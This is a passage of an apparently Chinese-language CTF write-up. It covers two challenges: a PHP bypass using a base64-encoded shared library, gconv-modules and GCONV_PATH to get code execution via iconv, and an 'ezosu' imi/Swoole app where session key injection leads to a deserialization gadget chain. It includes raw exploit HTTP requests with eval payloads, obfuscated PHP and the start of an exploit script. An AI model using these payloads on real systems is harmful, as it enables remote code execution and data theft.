AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwEQAAAAAAAPAQAAAAAAAAAQAAAAAAAAByAAAAAAAAAAwAAAAAAAAAABAAAAAAAAANAAAAAAAAAJARAAAAAAAAGQAAAAAAAAAQPgAAAAAAABsAAAAAAAAACAAAAAAAAAAaAAAAAAAAABg%2bAAAAAAAAHAAAAAAAAAAIAAAAAAAAAPX%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9iYWxfZHRvcnNfYXV4AGNvbXBsZXRlZC44MDYwAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eF9maW5pX2FycmF5X2VudHJ5AGZyYW1lX2R1bW15AF9fZnJhbWVfZHVtbXlfaW5pdF9hcnJheV9lbnRyeQBpY29udi5jAF9fRlJBTUVfRU5EX18AX2ZpbmkAX19kc29faGFuZGxlAF9EWU5BTUlDAF9fR05VX0VIX0ZSQU1FX0hEUgBfX1RNQ19FTkRfXwBfR0xPQkFMX09GRlNFVF9UQUJMRV8AX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAHN5c3RlbUBAR0xJQkNfMi4yLjUAX19nbW9uX3N0YXJ0X18AZ2NvbnYAZXhpdEBAR0xJQkNfMi4yLjUAX0lUTV9yZWdpc3RlclRNQ2xvbmVUYWJsZQBfX2N4YV9maW5hbGl6ZUBAR0xJQkNfMi4yLjUAZ2NvbnZfaW5pdAAALnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUucHJvcGVydHkALm5vdGUuZ251LmJ1aWxkLWlkAC5nbnUuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUudmVyc2lvbl9yAC5yZWxhLmR5bgAucmVsYS5wbHQALmluaXQALnBsdC5nb3QALnBsdC5zZWMALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAcAAAACAAAAAAAAAKgCAAAAAAAAqAIAAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAC4AAAAHAAAAAgAAAAAAAADIAgAAAAAAAMgCAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABBAAAA9v//bwIAAAAAAAAA8AIAAAAAAADwAgAAAAAAACgAAAAAAAAABAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAASwAAAAsAAAACAAAAAAAAABgDAAAAAAAAGAMAAAAAAADYAAAAAAAAAAUAAAABAAAACAAAAAAAAAAYAAAAAAAAAFMAAAADAAAAAgAAAAAAAADwAwAAAAAAAPADAAAAAAAAiAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABbAAAA////bwIAAAAAAAAAeAQAAAAAAAB4BAAAAAAAABIAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAaAAAAP7//28CAAAAAAAAAJAEAAAAAAAAkAQAAAAAAAAgAAAAAAAAAAUAAAABAAAACAAAAAAAAAAAAAAAAAAAAHcAAAAEAAAAAgAAAAAAAACwBAAAAAAAALAEAAAAAAAAqAAAAAAAAAAEAAAAAAAAAAgAAAAAAAAAGAAAAAAAAACBAAAABAAAAEIAAAAAAAAAWAUAAAAAAABYBQAAAAAAADAAAAAAAAAABAAAABcAAAAIAAAAAAAAABgAAAAAAAAAiwAAAAEAAAAGAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAbAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIYAAAABAAAABgAAAAAAAAAgEAAAAAAAACAQAAAAAAAAMAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAACRAAAAAQAAAAYAAAAAAAAAUBAAAAAAAABQEAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAmgAAAAEAAAAGAAAAAAAAAGAQAAAAAAAAYBAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAKMAAAABAAAABgAAAAAAAACAEAAAAAAAAIAQAAAAAAAADgEAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACpAAAAAQAAAAYAAAAAAAAAkBEAAAAAAACQEQAAAAAAAA0AAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAArwAAAAEAAAACAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAWAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAALcAAAABAAAAAgAAAAAAAAAYIAAAAAAAABggAAAAAAAANAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAADFAAAAAQAAAAIAAAAAAAAAUCAAAAAAAABQIAAAAAAAALAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAzwAAAA4AAAADAAAAAAAAABA%2bAAAAAAAAEC4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANsAAAAPAAAAAwAAAAAAAAAYPgAAAAAAABguAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADnAAAABgAAAAMAAAAAAAAAID4AAAAAAAAgLgAAAAAAAMABAAAAAAAABQAAAAAAAAAIAAAAAAAAABAAAAAAAAAAlQAAAAEAAAADAAAAAAAAAOA/AAAAAAAA4C8AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAPAAAAABAAAAAwAAAAAAAAAAQAAAAAAAAAAwAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAD5AAAAAQAAAAMAAAAAAAAAKEAAAAAAAAAoMAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA/wAAAAgAAAADAAAAAAAAADBAAAAAAAAAMDAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAQBAAABAAAAMAAAAAAAAAAAAAAAAAAAADAwAAAAAAAAKgAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABgMAAAAAAAABAFAAAAAAAAHAAAAC4AAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAcDUAAAAAAACXAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAc3AAAAAAAADQEAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA%3d")%3b

写下 gconv-modules

POST / HTTP/1.1
Host: 1.14.71.254:28064
Content-Length: 487
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.71.254:28064
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.71.254:28064/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
cmd=[~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&1=$f=new+SplFileObject('php://filter/convert.base64-decode/resource=/tmp/gconv-modules',"w+")%3b$f->fwrite("bW9kdWxlICBQQVlMT0FELy8gICAgSU5URVJOQUwgICAgLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3BheWxvYWQgICAgMgptb2R1bGUgIElOVEVSTkFMICAgIFBBWUxPQUQvLyAgICAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvcGF5bG9hZCAgICAy")%3b

触发 iconv

POST / HTTP/1.1
Host: 1.14.71.254:28064
Content-Length: 311
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.71.254:28064
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.71.254:28064/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
cmd=[~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&1=putenv("GCONV_PATH=/tmp/");$c=new+SplFileObject('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==');

查看 flag

POST / HTTP/1.1
Host: 1.14.71.254:28064
Content-Length: 299
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://1.14.71.254:28064
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://1.14.71.254:28064/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: a:3:{i:0;s:15:"create_function";i:1;s:0:"";i:2;s:19:"}eval($_POST[1]);/*";}
cmd=[~%9C%9E%93%93%A0%8A%8C%9A%8D%A0%99%8A%91%9C][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&1=$context+%3d+new+SplFileObject('php%3a//filter/read%3dconvert.base64-encode/resource%3d/tmp/flag')%3becho+$context%3b

image-20220120111014333

# ezosu

# 源码

Dockerfile

FROM phpswoole/swoole:4.7-php7.4-alpine
RUN mkdir /etc/[Forbidden]
COPY update_file/flag /etc/[Forbidden]/flag
RUN chmod -R 444 /etc/[Forbidden]/flag
RUN sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories &&\
    apk update && apk add --no-cache unzip &&\
    docker-php-ext-install mysqli pdo_mysql > /dev/null
RUN composer config -g repo.packagist composer "https://mirrors.aliyun.com/composer/" &&\
    composer create-project imiphp/project-http /app && cd /app &&\
    composer require imiphp/imi-swoole:~2.0.0 &&\
    composer remove imiphp/imi-workerman &&\
    composer remove imiphp/imi-fpm &&\
    composer remove --dev swoole/ide-helper
WORKDIR /app
COPY update_file/config config
COPY update_file/config.php ApiServer/config/config.php
COPY update_file/IndexController.php ApiServer/Controller/IndexController.php
RUN chmod -R 755 /app &&\
    chmod -R 777 /app/.runtime &&\
    rm -rf .runtime/*
EXPOSE 8080
USER www-data
CMD ["vendor/bin/imi-swoole", "swoole/start"]

docker-compose.yml

version: '3'
services:
  nginx:
    build:
      context: ./nginx
      dockerfile: Dockerfile
    ports:
      - 7777:80
    networks:
      osu:
  imi:
    build:
      context: ./imi-src
      dockerfile: Dockerfile
    networks:
      osu:
networks:
  osu:

config.php

<?php
use Imi\App;
$mode = App::isInited() ? App::getApp()->getType() : null;
return [
    // 项目根命名空间
    'namespace'    =>    'ImiApp',
    // 配置文件
    'configs'    =>    [
        'beans'        =>    __DIR__.'/beans.php',
    ],
    'ignoreNamespace'   => [
    ],
    'ignorePaths' => [
        dirname(__DIR__).DIRECTORY_SEPARATOR.'public',
    ],
    // Swoole 主服务器配置
    'mainServer'    =>    'swoole' === $mode ? [
        'namespace'    =>    'ImiApp\ApiServer',
        'type'        =>    Imi\Swoole\Server\Type::HTTP,
        'host'        =>    '0.0.0.0',
        'port'        =>    8080,
        'configs'    =>    [
            // 'worker_num'        =>  8,
            // 'task_worker_num'   =>  16,
        ],
    ] : [],
    // Swoole 子服务器(端口监听)配置
    'subServers'        =>    'swoole' === $mode ? [
        // 'SubServerName'   =>  [
        //     'namespace'    =>    'ImiApp\XXXServer',
        //     'type'        =>    Imi\Server\Type::HTTP,
        //     'host'        =>    '0.0.0.0',
        //     'port'        =>    13005,
        // ]
    ] : [],
    // Workerman 服务器配置
    'workermanServer' => 'workerman' === $mode ? [
        'http' => [
            'namespace' => 'ImiApp\ApiServer',
            'type'      => Imi\Workerman\Server\Type::HTTP,
            'host'      => '0.0.0.0',
            'port'      => 8080,
            'configs'   => [
            ],
        ],
    ] : [],
    //fpm 服务器配置
    'fpm' => 'fpm' === $mode ? [
        'serverPath' => dirname(__DIR__).'/ApiServer',
    ] : [],
    // 连接池配置
    'pools'    => 'swoole' === $mode ? [
        // 主数据库
        // 'maindb'    => [
        //     'pool'    => [
        //         'class'        => \Imi\Swoole\Db\Pool\CoroutineDbPool::class,
        //         'config'       => [
        //             'maxResources'    => 10,
        //             'minResources'    => 1,
        //         ],
        //     ],
        //     'resource'    => [
        //         'host'        => '127.0.0.1',
        //         'port'        => 3306,
        //         'username'    => 'root',
        //         'password'    => 'root',
        //         'database'    => 'mysql',
        //         'charset'     => 'utf8mb4',
        //     ],
        // ],
        // 'redis'    => [
        //     'pool'    => [
        //         'class'        => \Imi\Swoole\Redis\Pool\CoroutineRedisPool::class,
        //         'config'       => [
        //             'maxResources'    => 10,
        //             'minResources'    => 1,
        //         ],
        //     ],
        //     'resource'    => [
        //         'host'      => '127.0.0.1',
        //         'port'      => 6379,
        //         'password'  => null,
        //     ],
        // ],
    ] : [],
    // 数据库配置
    'db'    =>    [
        // 数默认连接池名
        // 'defaultPool'    =>    'maindb',
        //// FPM、Workerman 下用
        // 'connections'   => [
        //     'maindb' => [
        //         'host' => '127.0.0.1',
        //         'port'        => 3306,
        //         'username' => 'root',
        //         'password' => '123456',
        //         'database' => 'mysql',
        //         'charset'  => 'utf8mb4',
        //         // 'port'    => '3306',
        //         // 'timeout' => ' 建立连接超时时间 ',
        //         // 'charset' => '',
        //         // 使用 hook pdo 驱动(缺省默认)
        //         // 'dbClass' => \Imi\Db\Drivers\PdoMysql\Driver::class,
        //         // 使用 hook mysqli 驱动
        //         // 'dbClass' => \Imi\Db\Drivers\Mysqli\Driver::class,
        //         // 使用 Swoole MySQL 驱动
        //         // 'dbClass' => \Imi\Swoole\Db\Drivers\Swoole\Driver::class,
        //         // 数据库连接后,执行初始化的 SQL
        //         // 'sqls' => [
        //         //     'select 1',
        //         //     'select 2',
        //         // ],
        //     ],
        // ],
    ],
    //redis 配置
    'redis' =>  [
        //// 数默认连接池名
        // 'defaultPool'   =>  'redis',
        //// FPM、Workerman 下用
        // 'connections'   => [
        //     'redis' => [
        //         'host'  => '127.0.0.1',
        //         'port'  => 6379,
        //         // 是否自动序列化变量
        //         'serialize' => true,
        //         // 密码
        //         'password'  => null,
        //         // 第几个库
        //         'db'    => 0,
        //     ],
        // ],
    ],
    // 内存表配置
    'memoryTable'   =>  [
        // 't1'    =>  [
        //     'columns'   =>  [
        //         ['name' => 'name', 'type' => \Swoole\Table::TYPE_STRING, 'size' => 16],
        //         ['name' => 'quantity', 'type' => \Swoole\Table::TYPE_INT],
        //     ],
        //     'lockId'    =>  'atomic',
        // ],
    ],
    // 锁
    'lock'  =>[
        // 'list'  =>  [
        //     'atomic' =>  [
        //         'class' =>  'AtomicLock',
        //         'options'   =>  [
        //             'atomicName'    =>  'atomicLock',
        //         ],
        //     ],
        // ],
    ],
    //atmoic 配置
    'atomics'    =>  [
        // 'atomicLock'   =>  1,
    ],
    // 日志配置
    'logger' => [
        'channels' => [
            'imi' => [
                'handlers' => 'cli' === PHP_SAPI ? [
                    [
                        'class'     => \Imi\Log\Handler\ConsoleHandler::class,
                        'formatter' => [
                            'class'     => \Imi\Log\Formatter\ConsoleLineFormatter::class,
                            'construct' => [
                                'format'                     => null,
                                'dateFormat'                 => 'Y-m-d H:i:s',
                                'allowInlineLineBreaks'      => true,
                                'ignoreEmptyContextAndExtra' => true,
                            ],
                        ],
                    ],
                    [
                        'class'     => \Monolog\Handler\RotatingFileHandler::class,
                        'construct' => [
                            'filename' => dirname(__DIR__).'/.runtime/logs/log.log',
                        ],
                        'formatter' => [
                            'class'     => \Monolog\Formatter\LineFormatter::class,
                            'construct' => [
                                'dateFormat'                 => 'Y-m-d H:i:s',
                                'allowInlineLineBreaks'      => true,
                                'ignoreEmptyContextAndExtra' => true,
                            ],
                        ],
                    ],
                ] : [
                    [
                        'class'     => \Monolog\Handler\RotatingFileHandler::class,
                        'construct' => [
                            'filename' => dirname(__DIR__).'/.runtime/logs/log.log',
                        ],
                        'formatter' => [
                            'class'     => \Monolog\Formatter\LineFormatter::class,
                            'construct' => [
                                'dateFormat'                 => 'Y-m-d H:i:s',
                                'allowInlineLineBreaks'      => true,
                                'ignoreEmptyContextAndExtra' => true,
                            ],
                        ],
                    ],
                ],
            ],
        ],
    ],
];

# 环境搭建

image-20211228194418334

docker-compose up -d
http://localhost:7777/index.html

image-20220123214309904

# 代码审计

# 寻找注入点

给了 Dockerfile,其中有一处 nginx 反代和一个 Imi 框架的文件

其中反代这里只有对请求进行转发和 /app/static 目录下的一大堆静态文件

IMi 框架中 Index 控制器中有一个 config 方法,主要代码如下:

/**
     * @Action
     *
     * @return array
     */
    public function config()
    {
        $method = $this->request->getMethod();
        $res = [
            "msg" => "ok",
            "status" => "200",
            "value" => true
        ];
        if ($method === "POST") {
            Session::clear();
            $configData = $this->request->getParsedBody();
            foreach ($configData as $k => $v) {
                Session::set($k, $v);
            }
        } else if ($method === "GET") {
            $configData = Session::get();
            if ($configData != null) {
                $res["value"] = $configData;
            } else {
                $res = [
                    "msg" => "Not Find",
                    "status" => "404",
                    "value" => null
                ];
            }
        } else {
            $res = [
                "msg" => "Unsupported method",
                "status" => "405",
                "value" => false
            ];
        }
        return $res;
    }
  • 在 /config 下如果 post 传参数放到 session 中,get 方式就显示出来 session

先访问一下

image-20220123150340259

这个路由的代码中最惹人注意的地方是,session 的键值是可以被用户控制的。

imi 框架是用 swoole 起点的,但 swoole 本身不支持 php 的原生 session,所以为了兼容原生的 session,imi 框架自己写了一个 session 模块,并兼容了原生 session。

  • 看一下对 session 的操作

image-20220123150513185

在原生 session 文件处理的实现中,开发者使用 | 对属性进行分割,但键名没有过滤,可以插入 | 。如果用户可控键名,那么就会导致反序列化逃逸。

  • 本地调试一下
<?php
function decode(string $data)
{
    $result = [];
    $offset = 0;
    $length = \strlen($data);
    while ($offset < $length)
    {
        if (!strstr(substr($data, $offset), '|'))
        {
            return [];
        }
        $pos = strpos($data, '|', $offset);
        $num = $pos - $offset;
        $varname = substr($data, $offset, $num);
        $offset += $num + 1;
        $dataItem = unserialize(substr($data, $offset));
        $result[$varname] = $dataItem;
        $offset += \strlen(serialize($dataItem));
    }
    return $result;
}
$data = 'aa|s:4:y0ng|s:5:"admin";';
var_dump(decode($data));

image-20220123152553955

  • 尝试注入

image-20220123153446413

  • 入口找到了

# 挖链子

  • session 反序列化触发任意类任意方法

image-20220123154247589

因为这里存在serialize操作,所以会触发__sleep()

这里寻找典中典之 LazyString 类

image-20220123155416682

  • 然后找到 LazyOption 类中有方法

img

option () 方法可以 RCE

  • 调用其 option 方法

img

  • 这里知道 nginx 反代监听 8080 端口

image-20220123181153053

# exp

<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value=$value;
        }
    }
}
